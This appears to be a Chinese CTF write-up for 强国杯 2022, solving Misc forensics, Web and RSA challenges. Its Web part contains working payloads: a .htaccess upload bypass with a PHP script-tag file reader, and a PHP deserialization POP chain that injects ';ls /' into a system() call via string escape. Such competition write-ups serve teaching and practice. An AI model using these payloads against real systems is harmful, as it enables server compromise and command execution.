强国杯 2022 Writeup 写在前面 感觉比赛体验一般,可以理解毕竟这比赛是首届,8:59
准时蹲签到题,结果 9:01
才上签到题?!一开始我以为没有签到题…
赛题迷之崩(赛方说:flag回显成了默认值,所以得到的不是正确flag,下线维护题目,但是已经有十几只队伍提交成功了啊?!接着下线维护了所有 PWN
和 Web
题型,重新上线过后除一二三血,其他队伍均需要重新提交…
其次就是最后环境变成了这样,无法销毁,无法延时,无法重开,直接摆烂了,反正能进复赛就行了。
Misc Welcome_to_QGB base64
解码得到flag
找找GIF aaa
发现文件头是 png
,我们直接改为 aaa.png
改完很明显发现图少了半截,直接更改高度,改完旋转一下图像得到 bbb.zip
的解压密码 fHKKjfido%^&v1
解压后得到 bbb
然后我们发现关键字符串 NETSCAPE2.0
这个字符串说明这个文件是 GIF
我们加上文件头 47 49 46 38 39 61
,同时文件名改为 bbb.gif
即可得到flag
大佬大佬 lsb
隐写,直接导出为 flag.png
然后修改文件高度即可
The fun picture 爆破出密码为 6g3T
解压后三个文件flag
和 flag.txt
是用来迷惑我们的,通过16进制编辑器发现 FUN.png
实际上为 zip
压缩包文件, FUN.png
改为 FUN.zip
得到 flag3
,然后发现 flag3
缺少 png
文件头 89 50 4e 47
,添加后文件后缀改为 .png
扫码得到flag
B@tCh 根据文件内容特征判断为 BatchEncryption
([原创工具][201610]BatchEncryption - 批处理加密程序 )加密后的文件,找了个解密脚本 还原BatchEncryption(201610版本)混淆的批处理文件
我们直接把第 17-19
行注释掉,同时 i
的值改为 9
。因为原本第 9-60
个字符为 ::BatchEncryption Build 201610 By gwsbhqt@163.com
字符串,但题目没有这个字符串,所以我们改为从第 9
个字符开始解密,(其实使用16进制编辑器在题目中加入这段字符串就不用修改脚本啦,但是感觉有点麻烦
Web Upload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php session_start ();echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"uploaded\" /> <input type=\"submit\" name=\"submit\" value=\"上传\" /> </form>" ;error_reporting (0 );if (!isset ($_SESSION ['user' ])){ $_SESSION ['user' ] = md5 ((string )time () . (string )rand (100 , 1000 )); }if (isset ($_FILES ['uploaded' ])) { $target_path = getcwd () . "/upload/" . md5 ($_SESSION ['user' ]); $t_path = $target_path . "/" . basename ($_FILES ['uploaded' ]['name' ]); $uploaded_name = $_FILES ['uploaded' ]['name' ]; $uploaded_ext = substr ($uploaded_name , strrpos ($uploaded_name ,'.' ) + 1 ); $uploaded_size = $_FILES ['uploaded' ]['size' ]; $uploaded_tmp = $_FILES ['uploaded' ]['tmp_name' ]; if (preg_match ("/ph/i" , strtolower ($uploaded_ext ))){ die ("后缀名不可以有ph!" ); } else { if ((($_FILES ["uploaded" ]["type" ] == " " ) || ($_FILES ["uploaded" ]["type" ] == "image/jpeg" ) || ($_FILES ["uploaded" ]["type" ] == "image/pjpeg" )) && ($_FILES ["uploaded" ]["size" ] < 2048 )){ $content = file_get_contents ($uploaded_tmp ); if (preg_match ("/\<\?/i" , $content )){ die ("em..........这不还是php吗" ); } else { mkdir (iconv ("UTF-8" , "GBK" , $target_path ), 0777 , true ); move_uploaded_file ($uploaded_tmp , $t_path ); echo "{$t_path} succesfully uploaded!" ; } } else { die ("上传类型这么明显!" ); } } }?>
黑盒测了一下,过滤了 ph
和 mime
,我们直接上传图片马,先上传一个 .htaccess
文件,把所有文件都当做 php
来执行
1 2 3 4 5 6 7 8 9 10 11 12 ------WebKitFormBoundaryrFspz4AKexD8h06mContent-Disposition : form-data; name="uploaded"; filename=".htaccess"Content-Type : image/jpeg SetHandler application/x-httpd-php ------WebKitFormBoundaryrFspz4AKexD8h06mContent-Disposition : form-data; name="submit" 上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
然后在用 JS
的方式写个 PHP
一句话,一开始写的最常见的一句话被过滤了,看了一下 phpinfo
发现命令执行函数全过滤掉了,反手使用内置函数,先用 var_dump()
和 scandir()
函数打印指定目录内容
1 2 3 4 5 6 7 8 9 10 11 12 ------WebKitFormBoundaryrFspz4AKexD8h06mContent-Disposition : form-data; name="uploaded"; filename=".htaccess"Content-Type : image/jpeg GIF89a <script language="php">var_dump(scandir('/var/'))</script> ------WebKitFormBoundaryrFspz4AKexD8h06mContent-Disposition : form-data; name="submit" 上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
然后在使用 highlight_file()
函数读取文件内容,得到flag。
1 GIF89 a <script language="php" >highlight_file ('/var/flag' )</script>
ezpop_new 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php function filter ($string ) { $safe = array ('system' , 'fopen' , 'fread' , 'file_get_contents' , 'flag' ); $safe = '/' . implode ('|' , $safe ) . '/i' ; return preg_replace ($safe , 'nonono' , $string ); }class PingUtils { function __call ($name , $args ) { system ("ping -c4 ${args[0]}" ); } }class Cindy { var $someone ; var $phone ; function call ( ) { $this ->phone->call ($this ->someone); } }class Bob { public $flag = True; public function __get ($a ) { if ($this ->flag) { $cindy = new Cindy (); $cindy ->someone = $_REQUEST ['someone' ]; $cindy ->phone = "p50" ; $cindy = unserialize (filter (serialize ($cindy ))); $cindy ->call ($someone ); } else { echo 'nonono' ; } } public function __wakeup ( ) { $this ->flag = False; } }class Alice { public function __destruct ( ) { echo $this ->c->b; } }highlight_file (__FILE__ ); @unserialize ($_GET ['pop' ]);
审计后,找到反序列化最终的落脚点在 class PingUtils::__call()
中的 system("ping -c4 ${args[0]}");
,我们能控制 args[0]
参数 ,而且只需通过命令分隔符;
即可绕过 ping
命令执行想要的命令。那么一直往前推,即可找出整个POP链:
1 2 3 4 5 6 7 8 9 10 11 class Alice ::__destruct ()echo $this ->c ->b ;class Bob ::__wakeup () //绕过__wakeup ()class Bob ::__get ($a )$cindy = unserialize (filter (serialize ($cindy ))); //字符串逃逸修改$cindy ->phone = "p50 "为$cindy ->phone = "ls /flag " $cindy ->call ($someone ); class Cindy ::call ()$this ->phone ->call ($this ->someone ); class PingUtils ::__call ($name ,$args )system ("ping -c4 $ {args[0 ]}");
反序列化过程中还涉及到了两个tricks:
绕过 __wakeup()
由于我们需要进入到 class Bob::__get($a)
的 if
子句中,但 Bob
对象在反序列化时首先会触发__wakeup()
,从而使得其 flag
属性为 False
。所以我们通过手动修改序列化流, 使得序列化流中所表示的属性个数大于 真实属性个数时,这样会跳过__wakeup()
魔术方法的执行。
编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Alice { public $b ; public $c ; }class Bob { public $flag ; }$a = new Alice ();$b = new Bob ();$b ->flag = True;$a ->c = $b ;$a ->b = 'unknow' ;?>
这里修改Alice
的属性个数或者 Bob
的属性个数应该都可以。
PHP字符串逃逸
利用 $cindy->someone = $_REQUEST['someone'];
逃逸出字符串,从而覆盖 class Bob::__get($a)
中 Cindy
对象的 phone
属性为 PingUtils
对象。而我们要执行命令也存储在 somesone
属性里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 "O:5:" Cindy":2:{s:7:" someone";s:12:" flagflagflag";s:5:" phone";s:3:" p50";}" ";s:5:" phone";O:9:" PingUtils":0:{}} # 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。 O:5:" Cindy":2:s:7:" someone";s:213:" fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/";s:5:" phone";O:9:" PingUtils":0:{}}" ;s:5 :"phone" ;s:3 :"p50" ;} O:5 :"Cindy" :2 :s:7 :"someone" ;s:213 :"nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /" ;s:5 :"phone" ;O:9 :"PingUtils" :0 :{}}";s:5:" phone";s:3:" p50";} # URL编码 %66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d
因此最后完整的payload就是:
1 /?pop=O%3 A5%3 A%22 Alice%22 %3 A3%3 A%7 Bs%3 A1%3 A%22 b%22 %3 Bs%3 A6%3 A%22 unknow%22 %3 Bs%3 A1%3 A%22 c%22 %3 BO%3 A3%3 A%22 Bob%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 flag%22 %3 Bb%3 A1%3 B%7 D%7 D&someone=%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%66 %6 f%70 %65 %6 e%3 b%6 c%73 %20 %2 f%22 %3 b%73 %3 a%35 %3 a%22 %70 %68 %6 f%6 e%65 %22 %3 b%4 f%3 a%39 %3 a%22 %50 %69 %6 e%67 %55 %74 %69 %6 c%73 %22 %3 a%30 %3 a%7 b%7 d%7 d
Crypto babyRSA 1 2 3 4 5 6 7 8 9 10 11 12 import gmpy2 p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879 q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027 e = 33 c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458 n = p * q fn = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, fn) h = hex (gmpy2.powmod(c, d, n))[2 :]if len (h) % 2 == 1 : h= '0' + hprint (h)
输出的内容16进制转字符串即为flag